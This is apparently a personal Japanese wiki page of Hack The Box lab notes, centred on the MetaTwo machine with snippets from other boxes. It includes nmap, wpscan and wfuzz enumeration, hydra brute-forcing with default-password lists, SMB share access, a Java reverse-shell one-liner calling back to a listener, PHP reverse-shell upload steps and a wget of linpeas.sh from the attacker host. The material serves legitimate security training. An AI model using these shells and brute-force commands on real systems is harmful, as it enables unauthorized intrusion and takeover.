HTB_metaTwo - meruneru/tech_memo GitHub Wiki
Step0:
ターゲットドメインの確定->paper.htb
Step1:
サブドメインの列挙 -> office.paper, chat.office.paper Step2:
エンドポイントの抽出
Step3:
パラメータの抽出
Step4:
スキャンの開始
21, 22, 80が空いているようだ。
$ nmap -sV -sC -Pn metatwo.htb -oN nmap.log
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-11-13 00:03 EST
Nmap scan report for metatwo.htb (10.10.11.186)
Host is up (0.18s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp?
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
| 256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_ 256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.91%I=7%D=11/13%Time=63707AB5%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10
SF:\.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cr
SF:eative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creativ
SF:e\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 244.32 seconds
ID/PWが必要だった。anonymousではログインできず。
metatwo.htbにブラウザでアクセスするとmetapress.htbにリダイレクトされた。 /etc/hostsに追記することで、アクセスできた。
10.10.11.186 metatwo.htb metapress.htb
!Pasted image 20221113144953.png
eventsページでは、startupのミーティング参加が行えるページがあった。 サイト内検索でadminと調べると、サンプルページがあった。 Wordpressで作られたサイトで、ログインしてサンプルページを消してね、と記載があった。
下記がログインページ。 http://metapress.htb/wp-login.php
WappalyzerによるとWordpress5.6.2とわかった。
ここで wpscanというツールが紹介されている。 #wpscan はWordpressのEnumulationをするツールとのこと。
macでも動かせるようにdockerで検査する。
$ docker pull wpscanteam/wpscan
$ docker run -it --rm wpscanteam/wpscan --url http://metapress.htb --enumerate u
adminとmanagerというアカウントがあることがわかった。
脆弱性スキャンしたが見つからず。(wpscan の無料アカウントは必要)
docker run -it --rm wpscanteam/wpscan --url http://metapress.htb -e vp --api-token xxxxxxxxx
サブドメインが無いか探索する。 サブドメインの辞書はSecList を使った。 ( #SecList は辞書がたくさん入っているgithubリポジトリで便利)
$ sudo wfuzz -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -c -f wfuzz-output.txt -u "metapress.htb" -H "HOST:FUZZ.metapress.htb" --hc 301,302
┌──(kali㉿kali)-[~/htb/Crocodile]
└─$ ftp crocodile.htb
$mysql -u root -h 10.129.182.210
┌─[htb-meruneru@htb-4ygdk8b8dx]─[~]
└──╼ $xfreerdp /v:10.129.185.113 /cert:ignore /u:Administrator
┌─[htb-meruneru@htb-4ygdk8b8dx]─[~]
└──╼ $smbclient -L 10.129.185.108
Enter WORKGROUP\htb-meruneru's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
WorkShares Disk
┌─[✗]─[htb-meruneru@htb-4ygdk8b8dx]─[~]
└──╼ $smbclient //10.129.185.108/WorkShares
Enter WORKGROUP\htb-meruneru's password:
Try "help" to get a list of possible commands.
smb: \>
smb: \> ls
. D 0 Mon Mar 29 08:22:01 2021
.. D 0 Mon Mar 29 08:22:01 2021
Amy.J D 0 Mon Mar 29 09:08:24 2021
James.P D 0 Thu Jun 3 08:38:03 2021
smb: \> get Amy.J\worknotes.txt
getting file \Amy.J\worknotes.txt of size 94 as Amy.J\worknotes.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \> get James.P\flag.txt
getting file \James.P\flag.txt of size 32 as James.P\flag.txt (0.1 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \>
┌──(kali㉿kali)-[~/tool/impacket]
└─$ psexec.py administrator:@10.129.59.146
username: admin '#
password: tekitou
#hydra で事前に用意したID/Passのそれぞれの組み合わせでログインできないかBruteForceで試す。
┌──(kali㉿kali)-[~/htb/markup]
└─$ hydra -L ids.txt -P pass.txt 10.129.95.225 http-post-form "/:username=^USER^&password=^PASS^:Wrong Credentials"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-11-22 09:05:29
[DATA] max 16 tasks per 1 server, overall 16 tasks, 50 login tries (l:5/p:10), ~4 tries per task
[DATA] attacking http-post-form://10.129.95.225:80/:username=^USER^&password=^PASS^:Wrong Credentials
[80][http-post-form] host: 10.129.95.225 login: admin password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-11-22 09:05:35
admin:admin
guest:guest
user:user
root:root
administrator:password
The top 10 most common passwords list 2021 を試し見る。
123456
123456789
qwerty
password
12345
qwerty123
1q2w3e
12345678
111111
1234567890
ローカルマシン側で #netcat でリッスンさせる。
//ローカルマシン
$ nc -lnvp 8000
Reverse Shell Cheat Sheet に色々な言語のReverse Shellがあるので、これをサーバ側で実行させる。
String host="10.0.0.1";
int port=8000;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
#PHP の #Reverseshell は
/usr/share/webshells/php/php-reverse-shell.phpにあるファイルを使う。
上記ファイルのIP/portを自身のIPと適当なポートにして アップロードする。
Attacker側でncを使ってリッスンしておいて、下記URLにアクセスして、
リバースシェルを取ることができる。
http://10.129.41.80/uploads/php-reverse-shell.php
python3 -c'import pty;pty.spawn("/bin/bash")'
権限昇格のための情報を収集する #LinPEAS github を実行する。
strapiサーバにはDNSがないので、kaliローカルに置いたファイルをwgetしてもっていく。
kali $ wget https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/linpeas.sh
kali $ python3 -m http.server 8000
strapi@horizontall:/tmp$ wget http://10.10.14.3:8000/linpeas.sh
strapi@horizontall:/tmp$ chmod +x linpeas.sh
strapi@horizontall:/tmp$ ./linpeas.sh
# Output to file
./linpeas.sh -a > /dev/shm/linpeas.txt #Victim
less -r /dev/shm/linpeas.txt #Read with colors
#WinPEAS というツールをvictim上で実行すると、エスカレーションするための各種情報を表示することができる。 実行結果のうち、赤文字になっている箇所が脆弱性があり、権限昇格できる情報とのこと。
viの権限昇格を紹介しているサイトがのっていて、それを実行すると良かった。 GTFOBinsというLinuxコマンドの権限バイパスをする手法がまとまっていた。